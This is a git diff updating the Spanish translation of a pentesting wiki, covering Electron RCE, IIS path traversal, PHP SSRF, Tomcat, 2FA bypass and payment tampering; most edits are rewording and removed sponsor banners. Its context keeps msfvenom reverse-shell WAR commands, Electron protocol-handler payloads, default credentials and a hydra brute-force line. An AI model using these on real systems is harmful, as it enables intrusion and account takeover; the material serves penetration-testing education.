- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## Introducción @@ -59,15 +46,15 @@ let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://path/to/index.html`); ``` -Los ajustes del **renderer process** se pueden **configurar** en el **main process** dentro del archivo main.js. Algunas de las configuraciones **prevenirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**. +Los ajustes del **proceso de renderizado** se pueden **configurar** en el **proceso principal** dentro del archivo main.js. Algunas de las configuraciones **prevenirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**. La aplicación electron **podría acceder al dispositivo** a través de las APIs de Node, aunque se puede configurar para prevenirlo: -* **`nodeIntegration`** - está `desactivado` por defecto. Si está activado, permite acceder a las características de Node desde el renderer process. -* **`contextIsolation`** - está `activado` por defecto. Si está desactivado, los procesos principal y renderer no están aislados. +* **`nodeIntegration`** - está `desactivado` por defecto. Si está activado, permite acceder a las características de Node desde el proceso de renderizado. +* **`contextIsolation`** - está `activado` por defecto. Si está desactivado, los procesos principal y de renderizado no están aislados. * **`preload`** - vacío por defecto. * [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desactivado por defecto. Restringirá las acciones que NodeJS puede realizar. -* Integración de Node en Workers +* Integración de Node en Trabajadores * **`nodeIntegrationInSubframes`** - está `desactivado` por defecto. * Si **`nodeIntegration`** está **habilitado**, esto permitiría el uso de **APIs de Node.js** en páginas web que están **cargadas en iframes** dentro de una aplicación Electron. * Si **`nodeIntegration`** está **deshabilitado**, entonces los preloads se cargarán en el iframe. @@ -138,7 +125,7 @@ top.require('child_process').exec('open /System/Applications/Calculator.app'); ## RCE: preload -El script indicado en esta configuración se **carga antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a las API de Node**: +El script indicado en esta configuración se **carga antes que otros scripts en el renderizador**, por lo que tiene **acceso ilimitado a las API de Node**: ```javascript new BrowserWindow{ webPreferences: { @@ -175,7 +162,7 @@ runCalc(); ## RCE: XSS + contextIsolation -El _**contextIsolation**_ introduce **contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron** para que la ejecución de JavaScript de cada código no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE. +El _**contextIsolation**_ introduce los **contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron** para que la ejecución de JavaScript de cada código no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE. Si los contextos no están aislados, un atacante puede: @@ -223,7 +210,7 @@ Estos oyentes son **sobrescritos por la aplicación de escritorio** para impleme ![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (963).png>) -Las mejores prácticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función `openExternal`, ya que podría llevar a RCE a través de varios protocolos. Los sistemas operativos admiten diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación adicional sobre este tema, se puede consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad. +Las mejores prácticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función `openExternal`, ya que podría llevar a RCE a través de varios protocolos. Los sistemas operativos admiten diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y más explicaciones sobre este tema, se puede consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad. **Ejemplos de exploits de protocolos de Windows incluyen:** ```html @@ -245,7 +232,7 @@ window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResu ![](<../../../.gitbook/assets/1 u1jdRYuWAEVwJmf\_F2ttJg (1).png>) -Además, se comparte otro método para **leer un archivo interno**, destacando una vulnerabilidad crítica de lectura de archivos locales en una aplicación de escritorio Electron. Esto implica inyectar un script para explotar la aplicación y exfiltrar datos: +Además, se comparte otro método para **leer un archivo interno**, destacando una crítica vulnerabilidad de lectura de archivos locales en una aplicación de escritorio Electron. Esto implica inyectar un script para explotar la aplicación y exfiltrar datos: ```html



pwn
@@ -268,7 +255,7 @@ Primero que nada, necesitas saber qué sucede cuando intentas abrir una nueva UR webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` -La llamada a **`openInternally`** decidirá si el **enlace** se **abrirá** en la **ventana de escritorio** ya que es un enlace que pertenece a la plataforma, **o** si se abrirá en el **navegador como un recurso de 3ra parte**. +La llamada a **`openInternally`** decidirá si el **enlace** se **abrirá** en la **ventana de escritorio** ya que es un enlace que pertenece a la plataforma, **o** si se abrirá en el **navegador como un recurso de terceros**. En el caso de que la **regex** utilizada por la función sea **vulnerable a bypasses** (por ejemplo, **no escapando los puntos de los subdominios**), un atacante podría abusar del XSS para **abrir una nueva ventana que** estará ubicada en la infraestructura del atacante **pidiendo credenciales** al usuario: ```html @@ -320,18 +307,6 @@ npm start * Más investigaciones y artículos sobre la seguridad de Electron en [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) * [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 823531eaa..d6e16edf6 100644 --- a/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -15,21 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal en WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** - -Prueba extensiones de archivos ejecutables: +Pruebe las extensiones de archivos ejecutables: * asp * aspx @@ -38,7 +24,7 @@ Prueba extensiones de archivos ejecutables: ## Divulgación de dirección IP interna -En cualquier servidor IIS donde obtengas un 302, puedes intentar eliminar el encabezado Host y usar HTTP/1.0, y dentro de la respuesta, el encabezado Location podría señalarte la dirección IP interna: +En cualquier servidor IIS donde obtenga un 302, puede intentar eliminar el encabezado Host y usar HTTP/1.0 y dentro de la respuesta el encabezado Location podría señalarle la dirección IP interna: ``` nc -v domain.com 80 openssl s_client -connect domain.com:443 @@ -60,7 +46,7 @@ Puedes subir archivos .config y usarlos para ejecutar código. Una forma de hace Más información y técnicas para explotar esta vulnerabilidad [aquí](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) -## Fuerza bruta de descubrimiento de IIS +## Descubrimiento de IIS Bruteforce Descarga la lista que he creado: @@ -77,14 +63,14 @@ Fue creada fusionando los contenidos de las siguientes listas: Úsalo sin añadir ninguna extensión, los archivos que la necesitan ya la tienen. -## Traversal de ruta +## Traversal de Ruta -### Filtrando código fuente +### Filtración de código fuente Consulta el informe completo en: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) {% hint style="info" %} -Como resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta información es posible saber **dónde se encuentran los ejecutables** y descargarlos.\ +Como resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta información es posible saber **dónde están ubicados los ejecutables** y descargarlos.\ A partir de los **Dlls descargados** también es posible encontrar **nuevos namespaces** donde deberías intentar acceder y obtener el archivo web.config para encontrar nuevos namespaces y assemblyIdentity.\ Además, los archivos **connectionstrings.config** y **global.asax** pueden contener información interesante.\\ {% endhint %} @@ -112,9 +98,9 @@ Estas configuraciones indican que ciertos archivos, como **/bin/WebGrease.dll**, Los archivos encontrados en el directorio raíz, como **/global.asax** y **/connectionstrings.config** (que contiene contraseñas sensibles), son esenciales para la configuración y operación de la aplicación. -### **Espacios de Nombres y Web.Config** +### **Namespaces y Web.Config** -Las aplicaciones MVC también definen archivos adicionales de **web.config** para espacios de nombres específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con una solicitud para descargar otro **web.config**: +Las aplicaciones MVC también definen archivos adicionales de **web.config** para namespaces específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con una solicitud para descargar otro **web.config**: ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded @@ -225,7 +211,7 @@ Para acceder a la página web, podrías echar un vistazo al **Certificado SSL** Puedes intentar **enumerar carpetas y archivos** dentro de cada carpeta descubierta (incluso si requiere Autenticación Básica) usando esta **técnica**.\ La principal limitación de esta técnica si el servidor es vulnerable es que **solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión** de los archivos. -Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` +Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` ![](<../../.gitbook/assets/image (844).png>) @@ -285,29 +271,17 @@ HTTP/1.1 401 Unauthorized > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 200 OK ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal de WhiteIntel es combatir la toma de control de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Apoya a HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %} diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md index 5e42beed5..059a02f9f 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md @@ -15,24 +15,16 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### Funciones SSRF de PHP -Algunas funciones como **file\_get\_contents(), fopen(), file(), md5\_file()** aceptan URLs como entrada que seguirán, lo que hace **posibles vulnerabilidades SSRF** si el usuario puede controlar los datos: +Algunas funciones como **file\_get\_contents(), fopen(), file(), md5\_file()** aceptan URLs como entrada que seguirán, lo que hace **posibles las vulnerabilidades SSRF** si el usuario puede controlar los datos: ```php file_get_contents("http://127.0.0.1:8081"); fopen("http://127.0.0.1:8081", "r"); file("http://127.0.0.1:8081"); md5_file("http://127.0.0.1:8081"); ``` -### Wordpress SSRF via DNS Rebinding +### Wordpress SSRF a través de DNS Rebinding Como [**se explica en esta publicación del blog**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), incluso la función de Wordpress **`wp_safe_remote_get`** es vulnerable a DNS rebinding, lo que la hace potencialmente vulnerable a ataques SSRF. La validación principal que llama es **wp\_http\_validate\_ur**l, que verifica que el protocolo sea `http://` o `https://` y que el puerto sea uno de **80**, **443** y **8080**, pero es **vulnerable a DNS rebinding**. @@ -83,12 +75,6 @@ $options = array( $context = stream_context_create($options); $file = file_get_contents($url, false, $context); ``` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/network-services-pentesting/pentesting-web/tomcat.md b/network-services-pentesting/pentesting-web/tomcat.md index a8e296a6f..29cff0582 100644 --- a/network-services-pentesting/pentesting-web/tomcat.md +++ b/network-services-pentesting/pentesting-web/tomcat.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Discovery * Normalmente se ejecuta en **el puerto 8080** @@ -38,11 +30,11 @@ Para encontrar la versión de Apache Tomcat, se puede ejecutar un comando simple ```bash curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat ``` -Esto buscará el término "Tomcat" en la página de índice de documentación, revelando la versión en la etiqueta de título de la respuesta HTML. +Esto buscará el término "Tomcat" en la página de índice de la documentación, revelando la versión en la etiqueta de título de la respuesta HTML. ### **Ubicación de Archivos del Administrador** -Identificar las ubicaciones exactas de los directorios **`/manager`** y **`/host-manager`** es crucial ya que sus nombres podrían ser alterados. Se recomienda una búsqueda de fuerza bruta para localizar estas páginas. +Identificar las ubicaciones exactas de los directorios **`/manager`** y **`/host-manager`** es crucial, ya que sus nombres podrían ser alterados. Se recomienda una búsqueda de fuerza bruta para localizar estas páginas. ### **Enumeración de Nombres de Usuario** @@ -52,7 +44,7 @@ msf> use auxiliary/scanner/http/tomcat_enum ``` ### **Credenciales Predeterminadas** -El **`/manager/html`** directorio es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación HTTP básica, siendo las credenciales comunes: +El **`/manager/html`** directorio es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación HTTP básica, con credenciales comunes siendo: * admin:admin * tomcat:tomcat @@ -61,7 +53,7 @@ El **`/manager/html`** directorio es particularmente sensible ya que permite la * tomcat:s3cr3t * admin:tomcat -Estas credenciales se pueden probar usando: +Estas credenciales pueden ser probadas usando: ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` @@ -75,7 +67,7 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1 ``` Along with setting various parameters in Metasploit to target a specific host. -## Vulnerabilidades Comunes +## Common Vulnerabilities ### **Divulgación de Contraseña en Backtrace** @@ -83,13 +75,13 @@ Acceder a `/auth.jsp` puede revelar la contraseña en un backtrace bajo circunst ### **Codificación Doble de URL** -La vulnerabilidad CVE-2007-1860 en `mod_jk` permite la codificación doble de URL para la traversía de rutas, lo que habilita el acceso no autorizado a la interfaz de gestión a través de una URL especialmente diseñada. +La vulnerabilidad CVE-2007-1860 en `mod_jk` permite la codificación doble de URL para la traversía de rutas, lo que permite el acceso no autorizado a la interfaz de gestión a través de una URL especialmente diseñada. Para acceder a la web de gestión de Tomcat, ve a: `pathTomcat/%252E%252E/manager/html` ### /examples -Las versiones de Apache Tomcat 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, listados de manera exhaustiva, deben ser revisados para detectar accesos no autorizados y posibles explotaciones. Encuentra [más información aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) +Las versiones de Apache Tomcat de 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, listados de manera exhaustiva, deben ser revisados para detectar accesos no autorizados y posibles explotaciones. Encuentra [más información aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) * /examples/jsp/num/numguess.jsp * /examples/jsp/dates/date.jsp @@ -155,7 +147,7 @@ msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f war -o r ``` 2. Sube el archivo `revshell.war` y accede a él (`/revshell/`): -### Shell de enlace y reversa con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) +### Shell bind y reverso con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) En algunos escenarios esto no funciona (por ejemplo, versiones antiguas de sun) @@ -239,12 +231,6 @@ msf> use post/windows/gather/enum_tomcat * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/network-services-pentesting/pentesting-web/tomcat/README.md b/network-services-pentesting/pentesting-web/tomcat/README.md index ddd48ee0a..b5dc6aebf 100644 --- a/network-services-pentesting/pentesting-web/tomcat/README.md +++ b/network-services-pentesting/pentesting-web/tomcat/README.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Discovery * Normalmente se ejecuta en **el puerto 8080** @@ -34,7 +26,7 @@ Learn & practice GCP Hacking: exploit ``` ### MSFVenom Reverse Shell -1. Crea el war para desplegar: +1. Crear el war para desplegar: ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war ``` @@ -239,11 +231,6 @@ msf> use post/windows/gather/enum_tomcat * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md b/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md index a763e449a..9451d9422 100644 --- a/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md +++ b/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md @@ -15,14 +15,6 @@ Aprende y practica Hacking en GCP: {% endhint %} -**Grupo de Seguridad Try Hard** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### Evitar ejecutar como root Para no ejecutar Tomcat como root, una configuración muy común es establecer un servidor Apache en el puerto 80/443 y, si la ruta solicitada coincide con una expresión regular, la solicitud se envía a Tomcat que se ejecuta en un puerto diferente. @@ -101,7 +93,7 @@ El `web.xml` configuración anterior define un **nuevo servlet llamado `AdminSer * **`classes/com/inlanefreight/api/AdminServlet.class`** -A continuación, se crea un nuevo mapeo de servlet para **mapear solicitudes a `/admin` con `AdminServlet`**. Esta configuración enviará cualquier solicitud recibida para **`/admin` a la clase `AdminServlet.class`** para su procesamiento. El **`web.xml`** descriptor contiene mucha **información sensible** y es un archivo importante para verificar al aprovechar una **vulnerabilidad de Inclusión de Archivos Local (LFI)**. +A continuación, se crea un nuevo mapeo de servlet para **mapear solicitudes a `/admin` con `AdminServlet`**. Esta configuración enviará cualquier solicitud recibida para **`/admin` a la clase `AdminServlet.class`** para su procesamiento. El **`web.xml`** descriptor contiene mucha **información sensible** y es un archivo importante para verificar al aprovechar una **vulnerabilidad de Inclusión de Archivos Locales (LFI)**. ### tomcat-users @@ -152,11 +144,6 @@ El archivo nos muestra a qué proporciona acceso cada uno de los roles `manager- * [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/pentesting-web/2fa-bypass.md b/pentesting-web/2fa-bypass.md index 8cadc521b..d31ea7a1b 100644 --- a/pentesting-web/2fa-bypass.md +++ b/pentesting-web/2fa-bypass.md @@ -15,19 +15,6 @@ Aprende y practica Hacking en GCP: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes revisar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## **Técnicas Mejoradas de Bypass de Autenticación de Dos Factores** @@ -53,7 +40,7 @@ Usar el **enlace de verificación de correo electrónico enviado al crear la cue ### **Manipulación de Sesiones** -Iniciar sesiones tanto para la cuenta del usuario como para la cuenta de una víctima, y completar 2FA para la cuenta del usuario sin proceder, permite intentar acceder al siguiente paso en el flujo de la cuenta de la víctima, explotando las limitaciones de gestión de sesiones en el backend. +Iniciar sesiones tanto para la cuenta del usuario como para la de una víctima, y completar 2FA para la cuenta del usuario sin proceder, permite intentar acceder al siguiente paso en el flujo de la cuenta de la víctima, explotando las limitaciones de gestión de sesiones en el backend. ### **Mecanismo de Restablecimiento de Contraseña** @@ -71,11 +58,11 @@ La falta de un límite en el número de intentos de código permite ataques de f #### **Fuerza Bruta Lenta** -Un ataque de fuerza bruta lento es viable donde existen límites de flujo sin un límite general de tasa. +Un ataque de fuerza bruta lento es viable donde existen límites de flujo sin un límite de tasa general. #### **Restablecimiento del Límite de Reenvío de Código** -Reenviar el código restablece el límite de tasa, facilitando intentos continuos de fuerza bruta. +Reenviar el código restablece el límite de tasa, facilitando intentos de fuerza bruta continuos. #### **Evasión de Límite de Tasa del Lado del Cliente** @@ -87,7 +74,7 @@ Los límites de tasa pueden proteger los intentos de inicio de sesión, pero no #### **Costos de Reenvío de Código SMS** -El reenvío excesivo de códigos por SMS incurre en costos para la empresa, aunque no elude 2FA. +El reenvío excesivo de códigos a través de SMS incurre en costos para la empresa, aunque no elude 2FA. #### **Regeneración Infinita de OTP** @@ -141,9 +128,9 @@ Un proceso que demuestra un posible método de bypass implica la creación de un Utilizar solicitudes de señuelo para ofuscar intentos de fuerza bruta o desviar mecanismos de limitación de tasa añade otra capa a las estrategias de bypass. Elaborar tales solicitudes requiere un entendimiento matizado de las medidas de seguridad de la aplicación y los comportamientos de limitación de tasa. -### Errores en la Construcción de OTP +### Errores de Construcción de OTP -En caso de que el OTP se cree basado en datos que el usuario ya tiene o que se envían previamente para crear el OTP, es posible que el usuario también pueda generarlo y eludirlo. +En caso de que el OTP se cree en base a datos que el usuario ya tiene o que se envían previamente para crear el OTP, es posible que el usuario también lo genere y lo eluda. ## Referencias @@ -151,17 +138,6 @@ En caso de que el OTP se cree basado en datos que el usuario ya tiene o que se e * [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718) * [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes revisar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} P diff --git a/pentesting-web/bypass-payment-process.md b/pentesting-web/bypass-payment-process.md index 0c7edd081..f47548586 100644 --- a/pentesting-web/bypass-payment-process.md +++ b/pentesting-web/bypass-payment-process.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Técnicas de Bypass de Pago ### Intercepción de Solicitudes @@ -33,31 +25,25 @@ Durante el proceso de transacción, es crucial monitorear los datos que se inter - **Callback**: Este se utiliza típicamente para redirigir al usuario después de que se completa una transacción. ### Análisis de URL -Si encuentras un parámetro que contiene una URL, especialmente uno que sigue el patrón _example.com/payment/MD5HASH_, requiere un examen más detallado. Aquí hay un enfoque paso a paso: +Si encuentras un parámetro que contiene una URL, especialmente una que sigue el patrón _example.com/payment/MD5HASH_, requiere un examen más detallado. Aquí hay un enfoque paso a paso: 1. **Copia la URL**: Extrae la URL del valor del parámetro. 2. **Inspección en Nueva Ventana**: Abre la URL copiada en una nueva ventana del navegador. Esta acción es crítica para entender el resultado de la transacción. ### Manipulación de Parámetros -1. **Cambia los Valores de los Parámetros**: Experimenta alterando los valores de parámetros como _Success_, _Referrer_ o _Callback_. Por ejemplo, cambiar un parámetro de `false` a `true` puede a veces revelar cómo el sistema maneja estas entradas. +1. **Cambia los Valores de los Parámetros**: Experimenta alterando los valores de parámetros como _Success_, _Referrer_ o _Callback_. Por ejemplo, cambiar un parámetro de `false` a `true` a veces puede revelar cómo el sistema maneja estas entradas. 2. **Elimina Parámetros**: Intenta eliminar ciertos parámetros por completo para ver cómo reacciona el sistema. Algunos sistemas pueden tener comportamientos predeterminados o de respaldo cuando faltan parámetros esperados. ### Alteración de Cookies 1. **Examina las Cookies**: Muchos sitios web almacenan información crucial en cookies. Inspecciona estas cookies en busca de datos relacionados con el estado del pago o la autenticación del usuario. -2. **Modifica los Valores de las Cookies**: Alterar los valores almacenados en las cookies y observa cómo cambia la respuesta o el comportamiento del sitio web. +2. **Modifica los Valores de las Cookies**: Alterar los valores almacenados en las cookies y observar cómo cambia la respuesta o el comportamiento del sitio web. ### Secuestro de Sesiones 1. **Tokens de Sesión**: Si se utilizan tokens de sesión en el proceso de pago, intenta capturarlos y manipularlos. Esto podría dar información sobre vulnerabilidades en la gestión de sesiones. ### Alteración de Respuestas -1. **Intercepta Respuestas**: Utiliza herramientas para interceptar y analizar las respuestas del servidor. Busca cualquier dato que pueda indicar una transacción exitosa o revelar los próximos pasos en el proceso de pago. -2. **Modifica Respuestas**: Intenta modificar las respuestas antes de que sean procesadas por el navegador o la aplicación para simular un escenario de transacción exitosa. - -**Try Hard Security 